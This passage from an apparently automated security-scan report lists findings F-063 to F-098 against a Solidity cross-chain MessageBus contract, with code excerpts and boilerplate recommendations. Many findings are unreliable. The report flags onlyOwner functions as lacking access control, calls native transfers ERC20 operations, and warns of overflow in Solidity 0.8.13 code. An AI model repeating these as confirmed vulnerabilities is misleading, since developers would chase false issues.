```

256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-063. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:362 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-064. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:366 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-065. state-no-address-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:163 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Check for `address(0)` when assigning values to address state variables.

Vulnerable Code

```

158 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
159 |      * Internal function without access restriction.
160 |      */
161 |      function _transferOwnership(address newOwner) internal virtual {
162 |          address oldOwner = _owner;
>> 163 |          _owner = newOwner;
164 |          emit OwnershipTransferred(oldOwner, newOwner);
165 |      }
166 |  }
167 |
168 |  // messaging/MessageBusSender.sol

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-066. state-no-address-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:176 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Check for `address(0)` when assigning values to address state variables.

Vulnerable Code

```

171 |     address public gasFeePricing;
172 |     uint64 public nonce;
173 |     uint256 public fees;
174 |
175 |     constructor(address _gasFeePricing) {
>> 176 |         gasFeePricing = _gasFeePricing;
177 |     }
178 |
179 |     event MessageSent(
180 |         address indexed sender,
181 |         uint256 srcChainID,
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-067. state-no-address-check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:292 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Check for `address(0)` when assigning values to address state variables.

Vulnerable Code

```

287 |         uint64 srcNonce
288 |     );
289 |     event CallReverted(string reason);
290 |
291 |     constructor(address _authVerifier) {
>> 292 |         authVerifier = _authVerifier;
293 |     }
294 |
295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-068. todo

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:269 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Contract contains comments with TODOS. Consider implementing or removing them.

Vulnerable Code

```

264 |     }
265 | }
266 |
267 | // messaging/MessageBusReceiver.sol
268 |
>> 269 | contract MessageBusReceiver is Ownable {
    270 |     address public authVerifier;
    271 |
    272 |     enum TxStatus {
    273 |         Null,
    274 |         Success,
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-069. unchecked-return

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:322 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

Function returns a value but it is ignored. Consider checking the return value.

Vulnerable Code

```

317 |      // In order to guarentee that an individual message is only executed
once, a messageId is passed
318 |      // enforce that this message ID hasn't already been tried ever
319 |      bytes32 messageId = _messageId;
320 |      require(executedMessages[messageId] == TxStatus.Null, "Message already
executed");
321 |      // Authenticate executeMessage, will revert if not authenticated
>> 322 |      IAuthVerifier(authVerifier).msgAuth(abi.encode(msg.sender));
323 |      // Message is now in-flight, adjust status
324 |      // executedMessages[messageId] = TxStatus.Pending;
325 |
326 |      TxStatus status;
327 |      try

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-070. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	52%
Location	MessageBus.flat.sol:248 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |          * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-071. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	52%
Location	MessageBus.flat.sol:258 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
256 |      function rescueGas(address payable to) external onlyOwner {
257 |          uint256 withdrawAmount = address(this).balance - fees;
>> 258 |          to.transfer(withdrawAmount);
259 |      }
260 |
261 |      function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |          require(_gasFeePricing != address(0), "Cannot set to 0");
263 |          gasFeePricing = _gasFeePricing;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-072. unspecific-solidity-pragma

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	2.1
Confidence	32%
Location	MessageBus.flat.sol:2 (unknown)
Status	Open (32% conf.)
Detected By	aderyn

Description

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Vulnerable Code

```

1 | // SPDX-License-Identifier: MIT
>> 2 | pragma solidity =0.8.13 >=0.8.0 ^0.8.0;
3 |
4 | // node_modules/contracts-4.5.0/utils/Context.sol
5 |
6 | // OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
7 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Pin the Solidity version to a specific release (e.g., `pragma solidity 0.8.20;`) instead of a range (`^0.8.0`). This ensures consistent compilation and avoids unexpected behavior from compiler updates.

References

- OWASP Smart Contract Top 10

F-073. unused-public-function

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:261 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

If a function is marked public but is not used internally, consider marking it as `external`.

Vulnerable Code

```

256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Remove unused code to reduce attack surface and gas costs

References

- SWC-131
- OWASP Smart Contract Top 10

F-074. unused-public-function

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:362 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

If a function is marked public but is not used internally, consider marking it as `external`.

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Remove unused code to reduce attack surface and gas costs

References

- SWC-131
- OWASP Smart Contract Top 10

F-075. unused-public-function

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	52%
Location	MessageBus.flat.sol:366 (unknown)
Status	Open (52% conf.)
Detected By	aderyn

Description

If a function is marked public but is not used internally, consider marking it as `external`.

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Remove unused code to reduce attack surface and gas costs

References

- SWC-131
- OWASP Smart Contract Top 10

F-076. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	14%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:238 (sendMessage)
Status	Open (14% conf.)
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity < 0.8.0.

Vulnerable Code

```

233 |         _options,
234 |         msg.value,
235 |         msgId
236 |     );
237 |     fees += msg.value;
>> 238 |     ++nonce;
239 | }
240 |
241 | /**
242 |  * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |  * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas

```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity >= 0.8.0 which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- SWC-101
- OWASP Smart Contract Top 10

F-077. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:144 (renounceOwnership)
Status	Open (33% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```

139 |      * `onlyOwner` functions anymore. Can only be called by the current owner.
140 |      *
141 |      * NOTE: Renouncing ownership will leave the contract without an owner,
142 |      * thereby removing any functionality that is only available to the owner.
143 |      */
>> 144 |      function renounceOwnership() public virtual onlyOwner {
145 |          _transferOwnership(address(0));
146 |      }
147 |
148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).

```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-078. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:152 (transferOwnership)
Status	Open (33% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```

147 |
148 |     /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
150 |      * Can only be called by the current owner.
151 |      */
>> 152 |     function transferOwnership(address newOwner) public virtual onlyOwner {
153 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
154 |         _transferOwnership(newOwner);
155 |     }
156 |
157 |     /**

```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-079. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:202 (estimateFee)
Status	Open (33% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```

197 |         bytes calldata _message
198 |     ) public view returns (bytes32) {
199 |         return keccak256(abi.encode(_srcAddress, _srcChainId, _dstAddress,
    _dstChainId, _srcNonce, _message));
200 |     }
201 |
>> 202 |     function estimateFee(uint256 _dstChainId, bytes calldata _options) public
    returns (uint256) {
203 |         uint256 fee =
IGasFeePricing(gasFeePricing).estimateGasFee(_dstChainId, _options);
204 |         require(fee != 0, "Fee not set");
205 |         return fee;
206 |     }
207 |

```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-080. Timestamp Dependence

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:323 (executeMessage)
Status	Open (33% conf.)
Detected By	iaudit

Description

Contract logic depends on `block.timestamp` which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```

318 |         // enforce that this message ID hasn't already been tried ever
319 |         bytes32 messageId = _messageId;
320 |         require(executedMessages[messageId] == TxStatus.Null, "Message already
executed");
321 |         // Authenticate executeMessage, will revert if not authenticated
322 |         IAuthVerifier(authVerifier).msgAuth(abi.encode(msg.sender));
>> 323 |         // Message is now in-flight, adjust status
324 |         // executedMessages[messageId] = TxStatus.Pending;
325 |
326 |         TxStatus status;
327 |         try
328 |             ISynMessagingReceiver(_dstAddress).executeMessage{gas: _gasLimit}(

```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using `block.timestamp` for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- SWC-116
- OWASP Smart Contract Top 10

F-081. ml_detected_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	47%
Location	MessageBus.flat.sol:0
Status	Open (47% conf.)
Detected By	dagmn

Description

Integer overflow/underflow vulnerability

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic operations

References

- SWC-101
- OWASP Smart Contract Top 10

F-082. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	46%

PROPERTY	VALUE
Location	unknown:?
Status	Open (46% conf.)
Detected By	smartbugs_ml

Description

ML model detected potential reentrancy pattern

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use checks-effects-interactions pattern or reentrancy guard

References

- SWC-107
- OWASP Smart Contract Top 10

F-083. bad_randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	46%
Location	unknown:?
Status	Open (46% conf.)
Detected By	smartbugs_ml

Description

ML model detected weak randomness source (block.timestamp or blockhash)

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Chainlink VRF or commit-reveal scheme for randomness

References

- OWASP Smart Contract Top 10

F-084. integer_overflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	19%
Location	unknown:?
Status	Open (19% conf.)
Detected By	smartbugs_ml

Description

ML model detected unchecked arithmetic operations

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Arithmetic overflow/underflow can cause balances to wrap around, enabling attackers to mint tokens or manipulate accounting. Solidity 0.8+ has built-in overflow protection, but unchecked blocks and assembly bypass this.

Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic

References

- SWC-101
- OWASP Smart Contract Top 10

F-085. Front-Running - Hash Puzzle

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	44%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:199
Status	Open (44% conf.)
Detected By	smartbugs_detector

Description

Hash check followed by transfer. Solution visible in mempool can be front-run. Line 199.

Vulnerable Code

```

194 |         bytes32 _dstAddress,
195 |         uint256 _dstChainId,
196 |         uint256 _srcNonce,
197 |         bytes calldata _message
198 |     ) public view returns (bytes32) {
>> 199 |         return keccak256(abi.encode(_srcAddress, _srcChainId, _dstAddress,
    _dstChainId, _srcNonce, _message));
200 |     }
201 |
202 |     function estimateFee(uint256 _dstChainId, bytes calldata _options) public
returns (uint256) {
203 |         uint256 fee =
IGasFeePricing(gasFeePricing).estimateGasFee(_dstChainId, _options);
204 |         require(fee != 0, "Fee not set");

```

Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-114
- OWASP Smart Contract Top 10

F-086. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	MessageBus.flat.sol:161 (_transferOwnership)
Status	Open (33% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

156 |
157 |     /**
158 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
159 |      * Internal function without access restriction.
160 |      */
>> 161 |     function _transferOwnership(address newOwner) internal virtual {
162 |         address oldOwner = _owner;
163 |         _owner = newOwner;
164 |         emit OwnershipTransferred(oldOwner, newOwner);
165 |     }
166 | }
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-087. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:36
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

31 |      /**
32 |       * @notice Authentication library to allow the validator network to
execute cross-chain messages.
33 |       * @param _authData A bytes32 address encoded via abi.encode(address)
34 |       * @return authenticated returns true if bytes data submitted and decoded
to the address is correct
35 |       */
>> 36 |     function msgAuth(bytes calldata _authData) external view returns (bool
authenticated);
37 |
38 |     /**
39 |     * @notice Permissioned method to support upgrades to the library
40 |     * @param _nodegroup address which has authentication to execute messages
41 |     */

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-088. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:69
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

64 |
65 |     /**
66 |      * @notice Returns srcGasToken fee to charge in wei for the cross-chain
message based on the gas limit
67 |      * @param _options Versioned struct used to instruct relayer on how to
proceed with gas limits. Contains data on gas limit to submit tx with.
68 |      */
>> 69 |      function estimateGasFee(uint256 _dstChainId, bytes calldata _options)
external returns (uint256);
70 | }
71 |
72 | // messaging/interfaces/ISynMessagingReceiver.sol
73 |
74 | interface ISynMessagingReceiver {

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-089. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:295
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

290 |
291 |     constructor(address _authVerifier) {
292 |         authVerifier = _authVerifier;
293 |     }
294 |
>> 295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }
298 |
299 |     /**
300 |      * @notice Relayer executes messages through an authenticated method to
the destination receiver

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-090. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:171
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```

166 | }
167 |
168 | // messaging/MessageBusSender.sol
169 |
170 | contract MessageBusSender is Ownable {
>> 171 |     address public gasFeePricing;
    172 |     uint64 public nonce;
    173 |     uint256 public fees;
    174 |
    175 |     constructor(address _gasFeePricing) {
    176 |         gasFeePricing = _gasFeePricing;

```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- OWASP Smart Contract Top 10

F-091. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:270
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```

265 | }
266 |
267 | // messaging/MessageBusReceiver.sol
268 |
269 | contract MessageBusReceiver is Ownable {
>> 270 |     address public authVerifier;
271 |
272 |     enum TxStatus {
273 |         Null,
274 |         Success,
275 |         Fail

```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- OWASP Smart Contract Top 10

F-092. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:245
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- OWASP Smart Contract Top 10

F-093. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:256
Status	Open (33% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```

251 |
252 |     /**
253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
>> 256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {

```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- OWASP Smart Contract Top 10

F-094. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:125
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

120 |     }
121 |
122 |     /**
123 |      * @dev Returns the address of the current owner.
124 |      */
>> 125 |     function owner() public view virtual returns (address) {
126 |         return _owner;
127 |     }
128 |
129 |     /**
130 |      * @dev Throws if called by any account other than the owner.
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-095. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:144
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

139 |      * `onlyOwner` functions anymore. Can only be called by the current owner.
140 |      *
141 |      * NOTE: Renouncing ownership will leave the contract without an owner,
142 |      * thereby removing any functionality that is only available to the owner.
143 |      */
>> 144 |      function renounceOwnership() public virtual onlyOwner {
145 |          _transferOwnership(address(0));
146 |      }
147 |
148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-096. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:152
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

147 |
148 | /**
149 |  * @dev Transfers ownership of the contract to a new account (`newOwner`).
150 |  * Can only be called by the current owner.
151 |  */
>> 152 | function transferOwnership(address newOwner) public virtual onlyOwner {
153 |     require(newOwner != address(0), "Ownable: new owner is the zero
address");
154 |     _transferOwnership(newOwner);
155 | }
156 |
157 | /**

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-097. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:202
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

197 |         bytes calldata _message
198 |     ) public view returns (bytes32) {
199 |         return keccak256(abi.encode(_srcAddress, _srcChainId, _dstAddress,
    _dstChainId, _srcNonce, _message));
200 |     }
201 |
>> 202 |     function estimateFee(uint256 _dstChainId, bytes calldata _options) public
returns (uint256) {
203 |         uint256 fee =
IGasFeePricing(gasFeePricing).estimateGasFee(_dstChainId, _options);
204 |         require(fee != 0, "Fee not set");
205 |         return fee;
206 |     }
207 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-098. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:261
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

256 |     function rescueGas(address payable to) external onlyOwner {
